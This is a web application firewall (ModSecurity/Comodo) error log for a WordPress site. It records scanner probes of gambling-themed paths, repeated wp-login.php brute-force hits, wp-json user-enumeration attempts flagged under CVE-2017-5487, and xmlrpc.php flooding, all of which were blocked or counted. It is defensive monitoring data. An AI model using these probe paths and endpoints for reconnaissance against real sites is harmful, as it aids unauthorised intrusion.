[Thu Feb 19 06:11:15.456593 2026] [:error] [pid 24048:tid 24062] [client 54.37.254.160:49628] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZY5A2ug6wHHqU0QyDbSIwAAAUw"]
[Thu Feb 19 06:11:18.075631 2026] [:error] [pid 48901:tid 48913] [client 54.37.254.160:38028] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZY5BsixYz-lHbN0WBLJNgAAAAM"]
[Thu Feb 19 06:11:20.276708 2026] [:error] [pid 49002:tid 49024] [client 54.37.254.160:38030] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZY5CFfcBtQ6hSJuEQmQEwAAAMo"]
[Thu Feb 19 06:11:22.664181 2026] [:error] [pid 15513:tid 15529] [client 54.37.254.160:38044] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aZY5CsGTRTE022JWg1-kJwAAAQ4"]
[Thu Feb 19 06:11:24.579815 2026] [:error] [pid 48901:tid 48931] [client 54.37.254.160:38050] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aZY5DMixYz-lHbN0WBLJRgAAABU"]
[Thu Feb 19 06:11:26.660305 2026] [:error] [pid 48903:tid 48968] [client 54.37.254.160:38064] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZY5Do6aTgKrpAR115sNGwAAAIM"]
[Thu Feb 19 06:11:28.551319 2026] [:error] [pid 49002:tid 49020] [client 54.37.254.160:33958] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZY5EFfcBtQ6hSJuEQmQGgAAAMY"]
[Thu Feb 19 06:11:30.716824 2026] [:error] [pid 49002:tid 49031] [client 54.37.254.160:33974] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZY5ElfcBtQ6hSJuEQmQIQAAANE"]
[Thu Feb 19 06:11:32.731330 2026] [:error] [pid 24048:tid 24058] [client 54.37.254.160:33990] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZY5FGug6wHHqU0QyDbSSgAAAUg"]
[Thu Feb 19 06:11:35.159424 2026] [:error] [pid 48903:tid 48965] [client 54.37.254.160:33992] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZY5F46aTgKrpAR115sNKwAAAIA"]
[Thu Feb 19 06:11:37.219793 2026] [:error] [pid 15513:tid 15530] [client 54.37.254.160:33844] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZY5GcGTRTE022JWg1-kQgAAAQ8"]
[Thu Feb 19 06:11:39.242296 2026] [:error] [pid 48903:tid 48966] [client 54.37.254.160:33854] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZY5G46aTgKrpAR115sNMQAAAIE"]
[Thu Feb 19 06:11:41.599564 2026] [:error] [pid 48902:tid 48960] [client 54.37.254.160:33864] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZY5HWcJ-6aYRpRRFsVMMQAAAFY"]
[Thu Feb 19 06:11:43.580195 2026] [:error] [pid 24048:tid 24058] [client 54.37.254.160:33868] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZY5H2ug6wHHqU0QyDbSWgAAAUg"]
[Thu Feb 19 06:11:46.093733 2026] [:error] [pid 48902:tid 48950] [client 54.37.254.160:33870] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aZY5ImcJ-6aYRpRRFsVMPAAAAEw"]
[Thu Feb 19 06:11:48.353751 2026] [:error] [pid 24048:tid 24068] [client 54.37.254.160:54100] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "aZY5JGug6wHHqU0QyDbSYQAAAVI"]
[Thu Feb 19 06:12:30.546880 2026] [:error] [pid 49002:tid 49023] [client 54.37.254.160:54112] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aZY5TlfcBtQ6hSJuEQmQdgAAAMk"]
[Thu Feb 19 06:12:32.541092 2026] [:error] [pid 48903:tid 48980] [client 54.37.254.160:37892] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aZY5UI6aTgKrpAR115sNbgAAAI8"]
[Thu Feb 19 06:12:34.719500 2026] [:error] [pid 15513:tid 15523] [client 54.37.254.160:37894] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZY5UsGTRTE022JWg1-koAAAAQg"]
[Thu Feb 19 06:12:38.270615 2026] [:error] [pid 48901:tid 48910] [client 54.37.254.160:38278] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZY5VsixYz-lHbN0WBLJrgAAAAA"]
[Thu Feb 19 06:12:40.439064 2026] [:error] [pid 48903:tid 48982] [client 54.37.254.160:38286] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZY5WI6aTgKrpAR115sNdwAAAJE"]
[Thu Feb 19 06:12:42.703371 2026] [:error] [pid 24048:tid 24069] [client 54.37.254.160:38288] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZY5Wmug6wHHqU0QyDbSzAAAAVM"]
[Thu Feb 19 06:12:44.925602 2026] [:error] [pid 48902:tid 48948] [client 54.37.254.160:38302] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZY5XGcJ-6aYRpRRFsVMkgAAAEo"]
[Thu Feb 19 06:12:47.102780 2026] [:error] [pid 48903:tid 48975] [client 54.37.254.160:38308] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZY5X46aTgKrpAR115sNfQAAAIo"]
[Thu Feb 19 06:12:49.124735 2026] [:error] [pid 48903:tid 48973] [client 54.37.254.160:56248] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZY5YY6aTgKrpAR115sNgQAAAIg"]
[Thu Feb 19 06:12:51.243144 2026] [:error] [pid 15513:tid 15519] [client 54.37.254.160:56252] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZY5Y8GTRTE022JWg1-kswAAAQQ"]
[Thu Feb 19 06:12:53.389002 2026] [:error] [pid 48903:tid 48976] [client 54.37.254.160:56254] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZY5ZY6aTgKrpAR115sNiQAAAIs"]
[Thu Feb 19 06:12:55.640465 2026] [:error] [pid 48902:tid 48945] [client 54.37.254.160:56268] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aZY5Z2cJ-6aYRpRRFsVMoQAAAEc"]
[Thu Feb 19 06:12:57.718293 2026] [:error] [pid 48901:tid 48915] [client 54.37.254.160:57490] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aZY5acixYz-lHbN0WBLJuAAAAAU"]
[Thu Feb 19 06:13:00.020213 2026] [:error] [pid 48903:tid 48980] [client 54.37.254.160:57500] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aZY5bI6aTgKrpAR115sNlAAAAI8"]
[Thu Feb 19 06:13:02.136448 2026] [:error] [pid 24048:tid 24058] [client 54.37.254.160:57502] [client 54.37.254.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aZY5bmug6wHHqU0QyDbS7AAAAUg"]
[Thu Feb 19 13:02:07.299065 2026] [:error] [pid 5581:tid 5632] [client 43.135.139.165:40172] [client 43.135.139.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aZaZT3IfW0xlXmrVd3p0XgAAAhU"]
[Thu Feb 19 14:31:11.181049 2026] [:error] [pid 5580:tid 5601] [client 157.230.43.38:58222] [client 157.230.43.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/profile-builder/readme.txt"] [unique_id "aZauL4V24kZpmf6nh3C8RAAAAdE"]
[Thu Feb 19 15:54:32.663030 2026] [:error] [pid 48902:tid 48944] [client 103.77.106.246:60220] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBuGcJ-6aYRpRRFsX7BwAAAEY"]
[Thu Feb 19 15:54:35.523501 2026] [:error] [pid 48901:tid 48934] [client 103.77.106.246:60949] [client 103.77.106.246] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aZbBu8ixYz-lHbN0WBJ4nAAAABg"]
[Thu Feb 19 15:54:37.037196 2026] [:error] [pid 48901:tid 48910] [client 103.77.106.246:61805] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBvcixYz-lHbN0WBJ4nwAAAAA"]
[Thu Feb 19 15:54:38.423210 2026] [:error] [pid 48901:tid 48925] [client 103.77.106.246:62472] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBvsixYz-lHbN0WBJ4owAAAA8"]
[Thu Feb 19 15:54:39.597260 2026] [:error] [pid 48901:tid 48928] [client 103.77.106.246:61805] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBv8ixYz-lHbN0WBJ4pQAAABI"]
[Thu Feb 19 15:54:40.713583 2026] [:error] [pid 48901:tid 48911] [client 103.77.106.246:62472] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBwMixYz-lHbN0WBJ4qgAAAAE"]
[Thu Feb 19 15:54:41.827281 2026] [:error] [pid 48901:tid 48912] [client 103.77.106.246:62472] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBwcixYz-lHbN0WBJ4rQAAAAI"]
[Thu Feb 19 15:54:42.902108 2026] [:error] [pid 48901:tid 48913] [client 103.77.106.246:62472] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBwsixYz-lHbN0WBJ4sAAAAAM"]
[Thu Feb 19 15:54:43.951370 2026] [:error] [pid 48901:tid 48923] [client 103.77.106.246:61805] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBw8ixYz-lHbN0WBJ4tAAAAA0"]
[Thu Feb 19 15:54:45.047723 2026] [:error] [pid 48901:tid 48921] [client 103.77.106.246:62472] [client 103.77.106.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.77.106.246, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZbBxcixYz-lHbN0WBJ4uAAAAAs"]
[Thu Feb 19 16:48:59.766730 2026] [:error] [pid 48901:tid 48928] [client 34.10.112.161:58067] [client 34.10.112.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.112.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOe8ixYz-lHbN0WBKG-gAAABI"]
[Thu Feb 19 16:49:03.688483 2026] [:error] [pid 48901:tid 48914] [client 34.10.112.161:58067] [client 34.10.112.161] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZbOf8ixYz-lHbN0WBKHAQAAAAQ"]
[Thu Feb 19 16:49:05.507714 2026] [:error] [pid 48901:tid 48933] [client 34.10.112.161:58067] [client 34.10.112.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.112.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOgcixYz-lHbN0WBKHBQAAABc"]
[Thu Feb 19 16:49:07.433508 2026] [:error] [pid 48901:tid 48917] [client 34.10.112.161:58462] [client 34.10.112.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.112.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOg8ixYz-lHbN0WBKHCwAAAAc"]
[Thu Feb 19 16:49:09.341079 2026] [:error] [pid 48903:tid 48966] [client 34.10.112.161:63121] [client 34.10.112.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.112.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOhY6aTgKrpAR115u-OgAAAIE"]
[Thu Feb 19 16:49:11.318593 2026] [:error] [pid 48902:tid 48938] [client 34.10.112.161:58262] [client 34.10.112.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.112.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOh2cJ-6aYRpRRFsUFLwAAAEA"]
[Thu Feb 19 16:49:13.258704 2026] [:error] [pid 49002:tid 49015] [client 34.10.112.161:63027] [client 34.10.112.161] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.10.112.161, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOiVfcBtQ6hSJuEQk-igAAAME"]
[Thu Feb 19 16:49:13.258855 2026] [:error] [pid 49002:tid 49015] [client 34.10.112.161:63027] [client 34.10.112.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.10.112.161, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbOiVfcBtQ6hSJuEQk-igAAAME"]
[Thu Feb 19 16:56:01.974788 2026] [:error] [pid 15513:tid 15538] [client 136.113.226.26:50653] [client 136.113.226.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.226.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQIcGTRTE022JWg1-cXwAAARc"]
[Thu Feb 19 16:56:05.506858 2026] [:error] [pid 15513:tid 15537] [client 136.113.226.26:50653] [client 136.113.226.26] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aZbQJcGTRTE022JWg1-cZwAAARY"]
[Thu Feb 19 16:56:07.413647 2026] [:error] [pid 15513:tid 15530] [client 136.113.226.26:50653] [client 136.113.226.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.226.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQJ8GTRTE022JWg1-cawAAAQ8"]
[Thu Feb 19 16:56:09.390928 2026] [:error] [pid 15513:tid 15529] [client 136.113.226.26:52499] [client 136.113.226.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.226.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZbQKcGTRTE022JWg1-cbwAAAQ4"]
